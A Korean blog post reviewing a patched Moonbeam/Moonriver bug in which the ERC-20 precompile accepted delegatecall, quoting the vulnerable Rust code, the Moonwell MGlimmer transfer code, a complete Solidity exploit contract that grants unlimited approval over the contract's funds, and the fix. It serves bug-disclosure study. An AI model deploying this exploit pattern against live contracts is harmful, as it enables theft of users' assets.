참고사이트

https://noxx.substack.com/p/evm-deep-dives-the-path-to-shadowy?utm_source=url&s=r 

 

EVM Deep Dives: The Path to Shadowy Super Coder 🥷 💻 - Part 1

Digging deep into the EVM mechanics during contract function calls

noxx.substack.com

간단한 evm 구조에 대해서 알 수 있다.

'etc' 카테고리의 다른 글

(잡담)delegatecall에 대한 개인적인 생각  (0) 2022.07.03

2022.07.03 - [vulnerability analysis] - Aurora Inflation Spend Bugfix Review

 

Aurora Inflation Spend Bugfix Review

업데이트 시기 : 2022. 04. 27 취약점 신고자 : pwning.eth 취약점 요약 : Aurora의 Bridge 쪽에서 발견된 취약점으로, Bridge가 가지고 있는 자산을 무한으로 인출 가능한 취약점임. 취약점 분석 etc/eth-contra..

timmy-blockchain.tistory.com

이전 글을 안 읽었다면, 읽고 오는 걸 추천합니다.

 

이전 글에서는 Aurora Bufix 내용에 대해서 살펴보았다.

해당 내용을 간단히 요약하면 precompile된 contract에서 delegatecall에 대한 처리를 하지 않아 생긴 취약점이라고 할 수 있다. 취약점을 발견한 pwning.eth는 해당 취약점이 적용되는 다른 프로젝트들을 찾아보았다.

 

취약점은 Moonriver, Moonbeam에서 발견되었으며, 이는 Aurora에서 발견된 취약점과 매우 유사하다.

취약점은 balances-erc20, assets-erc20

moonbeam/precompiles/balances-erc20/src/lib.rs

	fn approve(handle: &mut impl PrecompileHandle) -> EvmResult<PrecompileOutput> {
		handle.record_cost(RuntimeHelper::<Runtime>::db_write_gas_cost())?;
		handle.record_log_costs_manual(3, 32)?;

		// Parse input.
		let mut input = handle.read_input()?;
		input.expect_arguments(2)?;

		let spender: H160 = input.read::<Address>()?.into();
		let amount: U256 = input.read()?;

		// Write into storage.
		{
			let caller: Runtime::AccountId =
				Runtime::AddressMapping::into_account_id(handle.context().caller);
			let spender: Runtime::AccountId = Runtime::AddressMapping::into_account_id(spender);
			// Amount saturate if too high.
			let amount = Self::u256_to_amount(amount).unwrap_or_else(|_| Bounded::max_value());

			ApprovesStorage::<Runtime, Instance>::insert(caller, spender, amount);
		}

		log3(
			handle.context().address,
			SELECTOR_LOG_APPROVAL,
			handle.context().caller,
			spender,
			EvmDataWriter::new().write(amount).build(),
		)
		.record(handle)?;

		// Build output.
		Ok(succeed(EvmDataWriter::new().write(true).build()))
	}

별도의 delegatecall에 대한 재제가 없었기 때문에 aurora때 있었던 취약점이 그대로 존재한다.

 

위 코드의 erc20은 moonbeam의 기본 토큰으로 사용되기 때문에 moonbeam 환경의 모든 지갑에 대해서 취약점이 존재한다. 해당 precompile contract의 주소는 0x0000000000000000000000000000000000000802이고, 토큰의 이름은 MOVR이다.

 

이 취약점으로는 직접적인 공격을 하기보다는 phising contract를 만들어 피해자가 이에 airdrop 등으로 접근하도록 하거나, 많은 자산을 가지고 있는 Contract의 또다른 취약점을 통해 그 Contract의 자산을 빼앗을 수 있다.

 

후자의 경우를 통해서 이 취약점을 트리거 할 수 있다.

Moonwell project의 Mglimmer 컨트랙트(0x6a1A771C7826596652daDC9145fEAaE62b1cd07f)에 취약점이 있다.

해당 project는 (https://github.com/moonwell-open-source/moonwell-contracts)에서 확인 가능하며,

해당 컨트랙트의 자산 크기는 약 400만달러 정도 된다.

 

Mglimmer 컨트랙트에서 redeemUnderlying 함수를 호출하면,  doTransferOut 함수를 호출하게 되는데 이 때 argument의 to에 로 msg.sender가 들어가게 된다.

    function doTransferOut(address payable to, uint amount) internal {
        /* Send the Glimmer, with minimal gas and revert on failure */
        (bool success, ) = to.call.value(amount)("");
        require(success, "Transfer failed");
    }

 

doTransferOut에서 to 주소에 콜하기 때문에 to 주소 즉 msg.sender 컨트랙트의 receive 함수를 잘 만든다면 앞서 발견한 취약점을 트리거 할 수 있게 된다. pwning.eth는 공격 Contract를 다음과 같이 작성했다.

    pragma solidity >=0.8.0;

    interface MGlimmer {
        function redeemUnderlying(uint redeemAmount) external returns (uint);
    }

    contract GlimmerExploit {
        address beneficiary;

        constructor() {}

        receive() payable external {
            if (msg.value == 0) {
                address asset = 0x0000000000000000000000000000000000000802;
                (bool success, ) = asset.delegatecall(
                abi.encodeWithSignature("approve(address,uint256)", beneficiary, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff));
                require(success, "approve");
            }
        }

        function exploit(address mglimmer) external {
            beneficiary = msg.sender;
            MGlimmer(mglimmer).redeemUnderlying(0);
        }
    }

 

해당 공격을 수행하면 MGlimmer 컨트랙트에 있는 모든 자산이 공격자의 Contract에 approve되기 때문에 사실상 모든 자산을 빼앗았다고 보아도 무방하다.

 

이 취약점은 Aurora가 수정했던 것과 유사하게 engine 자체에서 delegatecall로 호출되는 것을 금지했다.

 

precompiles/utils/src/precompileset.rs

    impl<P: StatefulPrecompile, S: PrecompileSet> PrecompileSet for ChainedPrecompile<P, S> {
        #[inline]
        fn execute(&self, handle: &mut impl PrecompileHandle) -> Option<PrecompileResult> {
            // Move forward the chain if this is not the correct address.
            if handle.code_address() != self.address {
                return self.chain.execute(handle);
            }

            // Check DELEGATECALL
            if !self.allow_delegate && handle.code_address() != handle.context().address {
                return Some(Err(revert(
                    "cannot be called with DELEGATECALL or CALLCODE",
                )));
            }

 위의 함수에서 Check Delegatecall 조건문을 추가해 아예 delegatecall에 대한 접근을 차단했다.

 

참고

https://pwning.mirror.xyz/okyEG4lahAuR81IMabYL5aUdvAsZ8cRCbYBXh8RHFuE

'vulnerability analysis' 카테고리의 다른 글

Aurora Inflation Spend Bugfix Review  (0) 2022.07.03

+ Recent posts